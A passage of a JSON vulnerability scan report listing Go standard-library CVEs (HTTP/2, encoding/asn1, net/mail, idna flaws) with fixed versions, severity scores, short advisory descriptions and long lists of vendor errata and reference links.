"https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-39319.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767860", "https://go.dev/issue/78803", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33811.html", "https://linux.oracle.com/errata/ELSA-2026-65886-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33811", "https://pkg.go.dev/vuln/GO-2026-4981", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33811.json", "https://www.cve.org/CVERecord?id=CVE-2026-33811" ], "PublishedDate": "2026-05-07T20:16:42.77Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-33814", "VendorIDs": [ "GO-2026-4918" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33814", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:6ec965cb6d9b9748006788ceb6b06db31f5c3ab40b1aa60699d0589550172f8e", "Title": "net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame", "Description": "When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57367", "https://access.redhat.com/errata/RHSA-2026:57408", "https://access.redhat.com/errata/RHSA-2026:57545", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60442", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60447", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60478", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:60668", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62410", "https://access.redhat.com/errata/RHSA-2026:62550", "https://access.redhat.com/errata/RHSA-2026:62551", "https://access.redhat.com/errata/RHSA-2026:63046", "https://access.redhat.com/errata/RHSA-2026:63047", "https://access.redhat.com/errata/RHSA-2026:63048", "https://access.redhat.com/errata/RHSA-2026:63050", "https://access.redhat.com/errata/RHSA-2026:63091", "https://access.redhat.com/errata/RHSA-2026:63096", "https://access.redhat.com/errata/RHSA-2026:63097", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/errata/RHSA-2026:63104", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:63637", "https://access.redhat.com/errata/RHSA-2026:63639", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/security/cve/CVE-2026-33814", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://github.com/golang/go/issues/78476", "https://go-review.googlesource.com/c/go/+/761581", "https://go-review.googlesource.com/c/net/+/761640", "https://go.dev/cl/761581", "https://go.dev/cl/761640", "https://go.dev/issue/78476", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33814.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33814", "https://pkg.go.dev/vuln/GO-2026-4918", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33814.json", "https://ubuntu.com/security/notices/USN-8430-1", "https://ubuntu.com/security/notices/USN-8471-1", "https://ubuntu.com/security/notices/USN-8472-1", "https://ubuntu.com/security/notices/USN-8473-1", "https://www.cve.org/CVERecord?id=CVE-2026-33814" ], "PublishedDate": "2026-05-07T20:16:42.88Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-33818", "VendorIDs": [ "GO-2026-5972" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33818", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:130f5a732dd69123004df7e4fb88cb4d3751f748d59a84b21158460be077ea03", "Title": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal", "Description": "Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-33818", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80405", "https://go.dev/cl/814980", "https://go.dev/issue/80405", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-33818.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33818", "https://pkg.go.dev/vuln/GO-2026-5972", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-33818" ], "PublishedDate": "2026-08-13T22:17:19.84Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-39820", "VendorIDs": [ "GO-2026-4986" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39820", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ed26a16712d8c6523a37c4de5644e42efea5c01339e254ff5bb650446b057b7c", "Title": "net/mail: golang: Go net/mail: Denial of Service via crafted email inputs", "Description": "Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54883", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57401", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-39820", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/759940", "https://go.dev/issue/78566", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39820.html", "https://linux.oracle.com/errata/ELSA-2026-65895-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39820", "https://pkg.go.dev/vuln/GO-2026-4986", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39820.json", "https://www.cve.org/CVERecord?id=CVE-2026-39820" ], "PublishedDate": "2026-05-07T20:16:43.187Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:e6881b9027c2a6b5f4eecddc95f7d1d3d5c2d11b93f0ccd8163b3d7dcf561dca", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", 